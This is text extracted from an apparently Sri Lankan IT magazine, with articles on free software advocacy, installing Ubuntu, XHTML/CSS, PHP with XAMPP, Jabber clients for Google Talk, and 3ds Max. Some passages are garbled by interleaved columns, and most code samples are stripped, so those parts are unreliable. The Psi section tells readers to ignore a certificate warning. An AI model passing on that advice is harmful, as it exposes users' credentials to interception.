how often the GNU part is dropped from Linux, and I can’t help blaming the Open Source folk for not giving credit where it’s due. As Andrew Leonard mentioned in the Salon magazine, “If the pragmatists of the open source cause sacrifice him to make free software safe for business, it seems to me, they risk losing their movement’s soul.”. I like to believe that the Open Source community understood their mistake, learnt from it, and are trying to fix it. For example, it’s not an Open Source Software week we have here in Sri Lanka these days; it’s a Free and Open Source Software week. More people are learning to talk FOSS instead of Open Source, and that’s great. Web Standards Project, on the other hand, has incorporated the best of both worlds in their mission. In fact, it seems they are more like free software advocates than open source advocates in their thinking. Their challenge was not as daunting as changing the way people deciphered “software”, but it was tough nontheless. And just like RMS did with the GNU project, WaSP had the guts to put ethics first. The reasons to adopt web standards were never purely business oriented: it had more to do with making the web free (as in freedom) for all. Of course, using web standards makes a lot of business sense, but that was never the primary argument. Using standards compliant code results in faster, elegant sites that are yummy for search engines, but that was a result, not the cause. Tim Berners-Lee’s dream for his invention, the World Wide Web, is a common space where users can share information to work together, to play, and to socialize (The World Wide Web, A Very Short Personal History).
As web developers, creating business, social, and educational sites, we turn this dream into reality. Thus starts the WaSP FAQ, and even in that document, they put “ensure that everyone has access to the information we are providing” before other reasons. Fellow web standards freaks will agree that our primary reason for keeping code clean is never the “business benefits”. They are the carrot for the client. We love web standards mostly because it’s the right thing to do: sensible use of the power we have of delivering content over http. WaSP has done a good job in convincing the masses with an argument based on ethics. But has this “morals first” stance affected WaSP negatively? It was never easy, but more big companies are listening to them now than ever before. Microsoft is working with them on making a better IE. That says it all (Of course, here they get in to the “open source” mode and preach pragmatism. That’s good marketing, as long as they don’t compromise their stand on ethics to lure businesses, like OSI does). Therefore it’s only right that standards compliant web designers use the term Free and Open Source Software instead of just Open Source Software (I can’t emphasize this enough: Free Software is not free as in free lunch, it’s free as in free speech, or free labour. Free Software is about Freedom). The correct phrase would be “FOSS Web Professional”, not “Open Source Web Professional”. If you’re thinking “wtf, both are the same no?”, read this again. (first posted on www.nidahas.com) /it-times/features/opensource
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
linux for human beings
ubuntu
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
by Chintana Wilamuna
If you ever thought that Linux is only for elite programmers who code in front of monochrome monitors till the wee hours of the morning. well… you’ve missed out on one of the biggest and most colourful revolutions in computer history.
u
buntu Linux (more affectionately known as “banku banku”, just kidding) is the quite craze these days. It’s easy to install and best of all, works perfectly with almost all new hardware (on one occasion it even detected my PCI wireless ethernet card during the installation). For many years, obtaining Linux CDs was bit of a painful process, as you had to order it online and pay for shipping or find someone who owned a CD and make a copy of that. If you’re a student you might not even have a credit card, putting you in a tight spot if you need a free operating sytem very badly. But guess what? The nice folks at Ubuntu are now are willing to pay for the shipping and send you Ubuntu CDs for free of charge. Hard to believe? Believe it! If that wasn’t enough, you can even select the number of CDs you want to receive so you can extras to you friends. Skeptical? Go to shipit.ubuntu.com and send in your order today! Unlike most other proprietary software, you can safely make any number of copies of Ubuntu Linux and redistribute them, as is the case with most open source programs.
/it-times/tutorials/linux
Ubuntu comes with two CDs - an installation CD and a live CD. Live CD is a nice way to get a feel for the system because you don’t have to install it to your computer. Just change the BIOS sequence to boot from the CD and put the live CD to your drive and restart. After few minutes you’ll be running Ubuntu Linux! It runs directly from the CD, and once you remove it and restart the computer everything will go back to normal. Among other things, it’s really a nice way to trick dad in to thinking that you just killed all his important documents by replacing the entire OS. The Ubuntu Live CD also contains Windows versions of some popular free and open source programs. It has OpenOffice (a complete office suite), Mozilla Firefox (standards compliant, secure web browser), Mozilla Thunderbird (email client), AbiWord (lightweight word processor), GIMP (the Photoshop replacement), Audacity (an audio editing program). If you want to install any of these boot your computer to Windows and insert the CD - the autorun should guide you from there. When using the live CD the time it takes to load programs is solely dependent on the speed of your CDROM drive. In short, the Live CD option
Fear not my friend, you came this far after all. We’ll just tackle one little big step at a time. First in the language selection menu, choose English. You can use arrow keys for navigation and press enter to select. See, that was easy, wasn’t it?
is fun for a start, but if you want to get serious with the OS, you’ve got to install it to the hard drive. Now, let’s see how that’s done. First of all, unlike other Linux distros like Redhat, you don’t get a partition resizing tool in the Ubuntu install. Thus, I recommend that you make some free space using a tool like Partition Magic. To be on the safe side allocate about 4 - 5 GB of space and then proceed with the installation. As I said earlier, there are Linux distributions which come with graphical tools similar to Partition Magic which you can use to resize any existing partition to make room for a new installation. I’ll show how and what they are in a future issue when it becomes relevant. Coming back to banku… err… Ubuntu, I’ll now walk you through a step by step process of installing Ubuntu onto your hard drive. I installed Ubuntu on a 2 GB partition with only 150 MB of swap space. Swap space is used when you run out of physical memory. If you try to run another program when your RAM is full several data portions of your RAM will be written to the disk to make space for the new program.
Although I allocated 150 MB for the swap space I recommend you to allocate about 300 MB so that you’re on the safe side. If you have less than 128 MB of RAM it will help the a lot with the smooth operation of the system. Saying that however, it’s highly unlikely you’ll need more than, say, 500 MB as the swap partition on a desktop machine . Allocating more than that will be a waste of disk space.
Now the location setup. Select Other and find ‘Sri Lanka’ and press enter. This will be used to configure the package management system. In Ubuntu you can install a package by issuing one command and the relevant package will be fetched over the Internet and be installed automagically. Country selection will be used to determined a mirror site that will be near to you. If you select United States, packages will be fetched from us.archive.ubuntu. com and if you select Sri Lanka, packages will be fetched from lk.archive.ubuntu.com. Next you’ll be presented with the choosing of keyboard layout. In this case, the default is fine so just press enter. Next, the automatic hardware detection system will try to detect your hardware. The installer will try to auto configure you Ethernet card and if it fails
Ok, after you make some free space it’s time for us rock ‘n roll… please replease remain seated, there’s no need main seated, there’s to stand up. Put the Ubuntu installation no need to stand up. Put the UbunCD in and reboot the computer. tu installation CD in and reboot the computer. will give a menu in which you can either choose manual configuraYou’ll be presented with the Ubuntion or select not to configure tu welcome screen. Aha! the mothe network settings at this time. ment of truth. Press the enter key If you’re connected to a netnow and throughout the following work your network administraparagraphs I’ll show you how deep tor should be able to provide you the rabbit hole goes. Remember with this info. If you’re a home what I present you is only the truth user go with the option not to - nothing more nothing less. configure it at this time. You can make changes after the system is First however a warning - in Ubuninstalled if you decide to do so. tu you don’t get a graphical instalFor the hostname go with the delation system so you have to go fault, and just press enter. through a menu driven interface. /it-times/tutorials/linux
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Ok, here comes the partitioner. Put your daily dose of caffeine on the table and read carefully. You’ll have two major options. You can can either erase the entire hard drive and put Ubuntu on it, or you could manually partition it. Since you created free space earlier as I suggest choose manual partition. (Of course if you want to erase your Windows installation you should go with the former option.) Find the free space that you created on the correct disk and press enter. Choose create new partition. First we’ll create a swap space. Set the size to 300 MB and press enter. Choose a ‘logical partition’ and then select ‘beginning’ to create the partition in the beginning of the free space. In the partition settings menu select Use as item and press enter. This will allow you to set the file system type of the partition. Choose swap area and press enter and then choose ‘done setting up partition’ and press enter. Well done! The swap area is setup now. Let’s move on to the root partition where all of the Ubuntu files will be stored. Select the other free space area and press enter. Just like before, select ‘create new partition’ and press enter. Don’t make any changes to the default size of this partition, just press enter. It will use all the available free space for this partition. Then select ‘use as item’ once again and press enter. Here you can give a file system type for your root partition. Traditionally Linux file system has the Ext3 as the type. Ext3 replaced the former Ext2 by adding journaling capabilities. However there is an even better alternative called ReiserFS which gives much faster performance due to its architecture. So we’ll go with that, choose ReiserFS as the file system type and press enter. After that you should choose the mount point as / and select done setting up partition. Ok the disk is setup and we’re ready to go. Select ‘finish setting up parti/it-times/tutorials/linux
tions’ and press enter. A warning message will appear asking for your confirmation - select yes and proceed with the installation. You’ll see a progress bar saying ‘installing the Ubuntu base system’. After that you’ll be prompted for the full name of the user. I don’t think you’ll need any guidance to type your name here. And after that the installer asks for a username which will be used to login to the system. Once this is completed, the installer tries to get a package list from the Ubuntu home site over the Internet. I didn’t have a net connection while installing and the installer stalled for a long period of time which really annoyed me. My advice would be not to do anything at this point. Wait for it to complete. This step is placed for the benefit of Internet users who can use this feature to keep their installations up to date with ease. In the next step, the installer installs the GRUB boot loader which will act as a gateway to load Ubuntu. Once this is done, your CDROM will be ejected automagically and you’ll be prompted to remove the disk and reboot the machine. Once rebooted, Ubuntu will try to configure all the packages and will prompt you to select a screen resolution. Select whatever resolution you’re comfortable working with and after some time it will present you with a graphical login asking you to login. Type in the username and the password you chose during the installation. Voila, welcome to the Ubuntu! Try playing with the system and get comfortable. We’ll explore every nook and cranny of this beast in the months to come. In the mean time, please feel free to send in your comments, suggestions, problems, rants. Happy Ubunting! Chintana is a guy with an 8 letter name who has fun with a 5 letter operating system. Not Vista. He occasionally finds time to brush his teeth and bathe.
load cd Ubuntu linux can run the whole os directly off the CD - no install required
partition tools like partition magic let you install both Linux and Windows on the same drive
install watch various bar graphs fill up and remember how to spell your name
taking back the web
A female Argiope Aurantia spider on its web. Photo by Evil Greg 3000 (flickr.com/photos/evilgreg)
by Prahbath Sirisena This series will give you the basic toolset for building websites with Web Standards and accessibility in mind, teach you about separation of content from style, and hopefully leave you with skills that are becoming an industry requisite. We do not expect you to have any prior experience developing websites. However, by understanding and applying the techniques and methods we discuss here, you will already be one step ahead of many professional web designers. Sounds tempting? Let’s begin.
what you will need A text editor like notepad, textpad, vi or emacs. We do not recommend Frontpage, Word, or your fancy WYSIWYG editor. Let’s keep it as simple as possible. You need a modern web browser like Mozilla/ Firefox, Opera, Internet Explorer 6 or Safari to view your creations. Internet Explorer version 5.5 and older are very common, but they are just not good enough for us. As we go on, a graphics program like Gimp, Macromedia Fireworks, Adobe Photoshop, or MS Paint will come handy.
the project The subject matter for the tutorial will be a personal website for an individual where she can share information with family and friends. Such sites are often called blogs (or web logs). Later on we will discuss how to approach different web design problems, but for beginners, this is as good as any subject matter.
get organized Create a folder for our design project wherever you like to work. Inside this folder, create a text document, and name it index.htm. This will be our web page. Create another text document, and name it style.css. This is going to be the style sheet you’ll soon learn about.
index.htm
style.css /it-times/tutorials/web
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
1. 2. 3. 4. 5. 6. 7. 8. 9.
I want to take back the web.
the basics
adding content
Open index.htm in your text editor and type the code shown above. Now let’s go through the code we just typed. At the top we have the doctype. It tells the web browser what type of a document you have created, and how to render (display) it properly.
Inside the and tags, type in the followingHTML:
Then follow the xhtml tags. You will notice that they come in pairs, like and . We call the first the opening tag, and the latter the closing tag. The two tags and whatever stuff you have inside them are collectively called an element.
We have just created a div element, and given it a unique name, an id, as container. This id attribute of the div element will be used as the selector in our style sheet later. Although we called it container, the id could be anything you like, as long as it’s one word and doesn’t start with a numeral. For example, ‘peaceOnEarth’ would work fine as an id. However, keep in mind that we should always use semantically correct names. Funny names aren’t so funny six months later when you’re making an update to a complex style sheet.
As you may have already guessed, XHTML is a language made up of tags which tell the browser what to do and how to present the information contained inside them. The first xhtml tag in our document is , which is the mother of all tags. Inside are the head and body elements. Head contains data about the document, while body holds the actual stuff. Think of the head as the cover of a book, while the body is the real content: the pages. Inside head is the title element. It’s an important part of the page which defines the, er, title of the web document. Let’s add a title to our web page by typing it between and like this: I love web standards We can now forget about the head and focus on the actual content of the web page, which is inside the and tags. This is where we will be doing the bulk of our work. /it-times/tutorials/web
I want to take back the web.
There’s another way to name an element, using class. The difference between id and class is that an id uniquely identifies a single element in a web page, while more than one element can have the same class. This will begin to make more sense as we learn more about XHTML and CSS.
styling the markup All this time we were working on index.htm. Now is the time to open up the other file we created, style.css. CSS stands for Cascading Style Sheet. We’ll leave that Cascading part for the next time. Style Sheet is exactly what it sounds like: a document that contains the information on how to style something. In this instance, a web page. Now we can open style.css and fill it in as on the next page.
1.
2. 3. 4. I love web standards 5. 6. 7. 8. I want to take back the web. 9. 1. #container { 10. width: 650px; 2. 3. height: 500px; background-color: #DDDDDD; 4. 5. }
#container. Hmm… sounds familiar. This is the selector which we mentioned earlier, which targets the div named container in our index.htm. Note the # sign in front of the name. That is how ids are referred in CSS. The stuff inside the braces (curly brackets) are called declarations. The selector, braces, and declarations are collectively known as a style rule. A style sheet can have many style rules like this. Now that we have both the XHTML and CSS ready, it’s time to open the web page in a browser. Go ahead and point your web browser to index.htm.
This is one of several possible ways you can add a style sheet to a web page. In the link element, the href attribute points to the name and location of the css file, the rel attribute defines the relation of the linked file to the web page (in this instance, a style sheet), and the type attribute identifies what type of a document is being linked (here, a text file containing style rules). Both files should now look like the examples above. Now view your web page in a browser.
Not bad, but doesn’t seem to be styled at all. That’s because the browser doesn’t know that this XHTML file has a style sheet associated with it. We need to link the CSS file to our XHTML for the style rules to take effect.
making the connection Add the following line after the title element in your index.htm /it-times/tutorials/web
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17.
I love web standards
I am the header I am the main content column I am the sub content column I am the footer
Whoa! Our words are now inside a grey box. We have created a web page adhering to web standards, following the concept of separating content from style. It doesn’t look very exciting yet; let’s do something to make it better.
beyond the grey box Delete “I want to take back the web” from the container div, and hit Carriage Return (Enter) a few times to give yourself some room between and . Then insert the four more divs right in there, as shown above. You will get a basic idea of what we are planning to do with these divs just by looking at their ids – a main characteristic of semantically correct id and class names. Let’s save index.htm now and move to style.css to add some CSS goodness to our edited web page. Type in the style rule we’ve already created for container and add the rules shown above. Look at the first style rule in this lot: the selector, #header, says we are targeting an element in our XHTML with an id of header. The following brace { tells the browser that some declarations are coming up for this element, which go something like “I want this element to be 650 pixels wide ( width: 650px; ), 125 pixels tall ( height: 125px; ) and have a red background ( background-color: #C00; )”. Note that we must use American spelling of colour, color. The closing brace } says that we are done with styles for this particular element. /it-times/tutorials/web
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29.
#container { width: 650px; height: 500px; background-color: #DDDDDD; } #header { width: 650px; height: 125px; background-color: #C00; } #maincontent { width: 650px; height: 125px; background-color: #FC3; } #subcontent { width: 650px; height: 125px; background-color: #3C3; } #footer { width: 650px; height: 125px; background-color: #36C; }
We’ve also used a strange syntax to specify colours. For example, #C00 stands for a shade of red, while #FC3 is a shade of orange. These are the hex values of colours in their shortened format. Colours on the web are represented by a hexadecimal number, which comprises of a group of six numbers preceded by a hash # symbol. Broken down these hex numbers are RGB values simply represented grouped together. You can read #003366 as R00 G33 B66. Such numbers where two digits are repeated for R, G and B can be shortened, like #036, whereas numbers like #203040 cannot. Thus, the red we used, #C00, has a hex value of #CC0000. If you have an advanced graphics program like Gimp, Fireworks or Photoshop, try the colour palette in RGB format to find out more. Will the browser follow our orders? Save the CSS file, and point your browser to index.htm. If your web page contains a box with red, orange, green and blue stripes, you’ve done well. Before we wrap up for this month, let’s have a look at two more things: In our style sheet, we used ‘pixels’ to specify dimensions. A pixel is the smallest unit of measurement on screen, so dimensions in pixels can’t have decimals like 0.5px or 2.4px. There are pixels in computer graphics too, where they are used to create images. These pixels are tiny squares 1px tall and 1px wide, which can be given a single colour.
in summary We learned the basics of XHTML and CSS in this tutorial, and successfully set up a basic, standards compliant web page. We also got an idea of semantics and the separation of content from style. Feel free to explore and experiment on your own, and see what cool effects you can come up with. Next month we will discuss web page layouts, and how CSS could be used to position elements. Prabhath is our resident web standards freak and usability expert. When not working as an information architect at Vesses, he spends his time tracking down and torturing IE4 users.
nightime spiderweb by Zach-O-Matic (flickr.com/photos/thegroundabove)
/it-times/tutorials/web
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
your own personal web server photo by Atom Tiger Zoo (flickr.com/photos/atomtigerzoo). licensed as cc attribution-share-alike
by Mahangu Weerasinghe It’s post dot-com hangover and everyone wants a website. Yes, even the kottu stand at the of top of the road wants it own online presence. The problem is, developing a dynamic site is not an easy task. It takes time, and it takes money. Oh wait, it doesn’t take money any more. Thanks to the wonders of XAMPP, you can develop a truly dynamic, data driven website for no money at all. Writing server side applications on a Windows machine used to mean just one thing - ASP. However, as Apache’s Win32 fork matured, there developed a chance to use free tools such as MySQL, PHP /it-times/tutorials/web
and PERL to develop server side XAMPP Lite variety, which is a scripts. By the end of this column significantly smaller download at you should understand the very just 23mb. basics of developing with PHP. After you’ve got the fix, you’ve just got to execute it, and folgetting the fix low the easy-peasy installation First of all, I’m going to assume through to completion. Once that you don’t have access to an you’ve got XAMPP Lite running, Internet server. Thus, this short you need to find your /htdocs/ section will run you through the directory. It’s usually just inside installation of your very own per- your XAMPP Lite installation directory. If you’re having trouble sonal web server. The dealer is apachefriends.org, with anything, the page where and the stuff is free. Go to apache- you downloaded from has lots of friends.org/en/xampp-windows. helpful hints that may be useful. html to pick your flavour. For If you’re done installing, you can this tutorial, I’m going to assume open up the folder and click on that you chose to download the the xaamp_start short cut.
Now that you’ve got your personal web server running let’s get on with the code. Open your favourite text editor (notepad is fine) and type in the following code PHP: 1.
Save this as index.php and put it in your /htdocs/ directory. Fire up your web browser, point it to http:// localhost (or http://127.0.0.1) and you should see something like the warning-label readout at right. The rows of data you see is just PHP telling you everything it knows about itself. For now though, you can safely ignore all this and glow in the knowledge that your XAAMP installation is working.
brewing your first cup PHP, like all programming languages, is rather addictive. Before you embark on the process of learning to harness the power of PHP, let me first warn you that you will spend many, many hours typing code in to your text editor - code that doesn’t seem to work. All this however will be easily outweighed by the warm feeling you get when you spot and squash your very first bug. But I digress. Let’s get started with your first php real script. 1.
any formatting, restructuring or any such tomfoolery to make your php scripts work with web based markup. This next exercise will prove this to a great extent. You can safely edit any of the text inside the quotation marks, and use xHTML markup to change its formatting. For example, 1. 2. 3.
< ?php print(“ Hello World”); ?>
will render your message in strong text, like this Hello World. Also, 1.
< ?php
Type that in to your text editor, and save it as it.php. 2. print(“Hello World”); Done? Load up the file in your browser. You should 3. ?> see the words “Hello World” displayed at the top of the page. Well, if you see these results, I’d say that will render your code with emphasis, like this - Hello congratulations are in order. Well done! You’ve just World. written and executed your first php script. In short, if you know xHTML, you’re already half on Although this little piece of code doesn’t do anything the road to understanding PHP. On the other hand, remotely useful, it stands the foundation on which if you have no idea what xHTML is, do not despair you will build on in the next issues of this tutorial - there is an excellent beginner’s tutorial in this issue column. written by our resident web junkie Prabhath Sirisena. I’d suggest you read page 39 if you haven’t yet.
PHP and xHTML
Before we wind up for today however I thought I’d take some time to explain the relationship between PHP and HTML. For one, your PHP is already xHTML enabled. That means that you don’t have to do
As for PHP, we’re pretty much done for this issue. Next time around, I’ll be showing you the wonders of the include() function as well as a few other nifty tricks you can use to take your site from static to dynamic. Till next time then, happy hacking. /it-times/tutorials/web
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
by Raveen Wijayatilake photo by Vinicius Lopes (flickr.com/photos/httpwwwflickrcompeoplenadar)
Instead of creating a whole new network of their own, Google Talk uses the Jabber Network as their protocol base. Jabber is an open, XML based protocol for instant messaging. Using the Jabber protocol has (amongst many others) two main advantages, of which Google Talk only uses one. Whether its a community service, an experiment in real world software or just another step towards world domination - Google recently ended months of speculation by releasing their first Instant Messaging client. Although the Google Talk Beta didn’t blow anyone out of the water, its minimalistic approach to instant messaging has left ample room for evolution and stable growth. Now that the obligatory introduction is over, you have a choice - you an either stay with me for the the geeky bits about services and protocols, or go straight to the tutorial for instant gratification.
the service Now that I’ve got rid of the noobs, let me explain how this works. Instead of creating a whole new network of their own, Google Talk uses the Jabber Network as their protocol base. Jabber is an open, XML based protocol for instant messaging. Using the Jabber protocol has (amongst /it-times/tutorials/chat
many others) two main advantages, of which Google Talk only takes advantage of one.
Any Jabber client can connect to the Google Talk ser-
vice Unlike the MSN and Yahoo! networks where constant protocol changes make it difficult for 3rd party clients to connect to the service, Google boasts that their service is ‘open’ since it can be connected to via a user’s favourite client. Well yes, it’s a step in the right direction. But let’s take a look at the second advantage, which is neglected.
Jabber allows interaction between different severs. Un-
like the MSN and Yahoo! networks that only allow messaging within their network, the Jabber protocol allows messaging between domains. ([email protected] can message [email protected] etc) This is what Google Talk hasn’t taken advantage of yet. At the moment Gmail users can only message other Gmail users. Google says this will change once they sort out security and spam issues. Google Talk is in beta after all.
the jabber tutorial
the client Not satisfied with giving their users the option of user a Jabber client, Google went ahead and released their own software. Right now, the program is almost completely devoid of the features clients like MSN Messenger and Yahoo! are famous for. In fact, it could easily be compared to two people writing messages on a piece of paper - it’s that basic. No text formatting, no emoticon images... none of those bells and whistles. The user interface is really simple and reminds you of Google’s uncluttered search (home) page. Chat windows are equally simple, having only two buttons on them - E-mail and Call. One big draw back in the current version is the lack of support for multiple user conversations. On the other hand, Google Talk is very good at transmitting audio via its Call feature, which makes use of state of the art VoIP (Voice over internet protocol) technology. It offers extremely high quality voice communication which rivals the likes of Yahoo! Messenger and Skype, and goes far beyond the quality of MSN Messenger. Users with little RAM to spare will be happy to know that Google Talk is very light on memory. It’s almost insanely responsive and opening, minimizing and starting chats is almost instantaneous on any machine, unlike some of the bulkier IM clients. The software seems very stable on the whole, and this is impressive seeing that it’s still in beta. Many other public betas of other IM clients are chock full of bugs. Unlike MSN Messenger which ensures its constant use, you won’t often find yourself reaching for CTRL+ALT+DEL to end Google Talk. They say good things come in small packages and this is indeed true with Google Talk. At 900kb, the installer takes just three minutes to download on a 56k connection. Compared to the multi-megabyte downloads of other IM clients, Google Talk is excellent for downloading and using anywhere, quickly and efficiently. Download, enter your Gmail account details, and connect. It’s just that simple. To go ahead and get started you can download the Google Talk client at - http://talk.google.com. The download is 3 mb, or about 3 minutes on dial-up.
If you don’t feel like using the official Google Talk client, that’s all right. You still have a choice of many different clients to work with.
GAIM (gaim.sourceforge.net) Gaim is a multi-protocol instant messaging client for Linux, BSD, MacOS X, and Windows. It is compatible with AIM and ICQ, MSN Messenger, Yahoo!, IRC, Jabber, Gadu-Gadu, SILC, GroupWise Messenger, and Zephyr. Download and open GAIM Click ‘Accounts’ at the bottom of the login page. Click ‘Add’ after the ‘Accounts’ window opens. Enter the following in the ‘Add Account’ window: protocol: Jabber screen name: full Gmail username server: gmail.com password: Enter your Gmail password alias: leave this field blank Click the ‘+’ next to ‘Show more options.’ Enter the following in the section that appears: jabber options: only check ‘Use TLS if available’ port: 5222 connect server: talk.google.com proxy type: Use Global Proxy Settings Click ‘Save.’
Psi (psi.affinix.com) Open Psi. Click the Psi symbol in the bottom-left corner, and select ‘Account Setup.’ Click ‘Add’ in the ‘Psi: Jabber Accounts’ window. Enter a name for your account in the ‘Name:’ field (we suggest ‘Google Talk’). Also, make sure that the box next to ‘Register new account’ is not checked. Click ‘Add.’ Enter your full Gmail email address in the ‘Jabber ID:’ field (including ‘@gmail.com’). Open the ‘Connection’ tab. Check all boxes. Enter ‘talk.google.com’ in the ‘Host:’ field, and enter ‘5223’ in the ‘Port:’ field (5222 will not work). /it-times/tutorials/chat
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 48 49 50 51 52 53 54 55 56
Click ‘Save.’ Once you’ve configured Psi to connect to the Google Talk service, you may receive a warning message stating that the ‘gmail.com certificate failed the authenticity test. This error message is incorrect; click ‘Continue’ to sign in.
Miranda (miranda-im.org)
Our minds believe what our eyes see (Morpheus, The Matrix)
Basically another multi-protocol client. But this needs no installation, so it can be carried around on a floppy disk or a flash drive and run off that. Open Miranda. Select ‘Options...’ from the Miranda menu. Under ‘Network’ in the ‘Miranda IM Options’ window, select ‘Jabber.’ Enter the following information in the ‘Miranda IM Options’ window: username: enter your full Gmail username (everything before ‘@gmail.com’) password: enter your Gmail password login server: gmail.com use SSL: check the box Manually specify connection host: check the box Host: talk.google.com port: 5223 keep connection alive: check the box Click ‘OK.’
the low down So overall, is Google Talk any good? Depends. In my case, I always keep Google Talk running as backup in case (or rather, for when) MSN Messenger fails. If voice communication is what I want, Google Talk is my service of choice. Other than that however, I don’t see a significant user influx to Google Talk and thus only a small percentage of my contacts are currently on it. But since Gmail was the in thing sometime ago, (and probably still is, for some unenlightened people) you can count on everyone having an account. Try it. If you like it, it’s up to you to get your friends to convert. Happy IMing! A list of Jabber clients can be found at: jabber.org/software/clients.shtml. You can learn more general info about Jabber at en.wikipedia.org/wiki/Jabber. /it-times/tutorials/chat
Hello and welcome to the intriguing world of computer graphics, where reality blends with that of the digital. This is the first in the series of graphic tutorials that will guide you through 3D modeling, from A to Z. Before we get down to the specifics (namely the tutorials) let us begin with a primer into the world of 3D. 3D means three-dimensional – essentially having, or appearing to have length, width and depth. While this is about the concept of 3D let us also examine the tools to develop this imagery. Two of the biggest products that have revolutionized the way graphics work are
3D Studio Max Maya
by Zafar Issadeen
DIGITAL DREAMS With 3ds Max, you can create 3D places and characters, objects and subjects of any type. You can arrange them in settings and environments to build the scenes for your play. You can animate the characters, set them in motion, make them speak, sing and dance, or kick and fight. Then, shoot movies of the whole virtual thing. These tutorials will show you how to perform basic functions in 3D studio max. Initially we will look at setting up 3D max. Load the CD and click on Setup. Enter the registration key. Select the software driver option
also possible. Very advanced physics based simulations are possible as well where refraction values will be in relation to the materials and their density. Shadowing is also a useful tool that will be discussed at length in future issues. These are just a few amazing things that a 3Ds Max can deliver. The possibilities are only limited by your imagination. Next month we’ll cover basic modeling and getting around the system. Zafar Issadeen lives in a world where wire meshes, light simulations and refraction values are a part of every day lingo. A talented 3D artist, he has produces stunning motion and still graphics for posters, books and television. Post your views and ideas into [email protected]
Congratulations, and welcome to the world of 3ds Max. Next let us see what features are available. These features are generally offered by any 3D graphic application.
STILL LIFE MODELING Still Life modeling and material assigning is possible which makes for real life photorealistic imagery. Complex reflections and light simulations are possible and one can even give an ‘organic’ look to these 3D objects
CHARACTER MODELING Character Modeling wIand skin like looks on characters make this program indispensable for character animators. Contours and complex biological elements such as hair can be modeled with ease.
ATMOSPHERIC ELEMENTS Atmospheric elements such as skies and mountains, and the almighty sun can be modeled making for photo realistic outdoor imagery. Even geometric elements such as mountains and lakes can be simulated. In the weeks to come we will learn about creating sandstorms and other real life earthy events. Advanced lighting such as reflections and refractions are /it-times/tutorials/3D
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
and paint over the eye. Voila! Instant red-eye correction! The next tutorial teaches you how to create a simple trendwhorish signature, which you can use on graphics forums, or just pick up a few design tips from. I chose to start with a deep aquamarine colour, #137D9F. Next, I added these round shapes. You can do this by using the rounded rectangle tool (Shift + U), and defining a radius of about 75 pixels. Fill it with a lighter shade of blue like #179BC5.
